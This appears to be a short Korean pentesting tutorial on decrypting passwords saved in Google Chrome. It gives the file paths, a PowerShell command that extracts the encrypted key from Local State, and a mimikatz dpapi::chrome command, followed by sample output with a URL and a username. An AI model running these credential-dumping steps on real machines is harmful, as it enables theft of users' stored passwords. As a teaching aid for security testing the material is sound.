대표적인 웹 브라우저 구글 크롬에서, 사용자들은 매번 패스워드를 통한 로그인이 번거로워
브라우저 내에 크리덴셜 정보를 저장하는 기능을 한 번 쯤은 사용해봤을 것입니다.
우리가 입력한 크리덴셜 정보를 크롬 브라우저의 저장 기능으로 저장했다면
SQLite 포맷으로 Login Data 파일에 저장됩니다.
절대 경로는 C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\ 입니다.
그리고 이곳에 저장된 암호화된 정보를 복호화하는 키가 저장된 파일은
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State입니다.
위 파일에 저장된 정보는 모두 키에 관련된 정보는 아니기 때문에
우리가 복호화를 원할 시에는 키 정보만을 출력해야 합니다.
(Get-Content "$env:LOCALAPPDATA\Google\Chrome\User Data\Local State" | ConvertFrom-Json).os_crypt.encrypted_key
이렇게 가져온 키 정보를 가지고 크롬 브라우저에 등록된 사용자 크리덴셜을 복호화 합니다.
[EncryptedKey] 에는 위 명령에서 가져온 Base64 Key를 그대로 붙여넣습니다.
dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /encryptedkey:[EncryptedKey] /unprotect
.#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /encryptedkey:RF7jxdtmk4Q= /unprotect
> Encrypted Key seems to be protected by DPAPI
* using CryptUnprotectData API
> AES Key is: 98711f6ba6ff********************
URL : https://account.proton.me/ ( https://account.proton.me/ko/mail/signup )
Username: pentesting_wiki@protonmail.com
* using BCrypt with AES-256-GCM
Password: REDACTED
References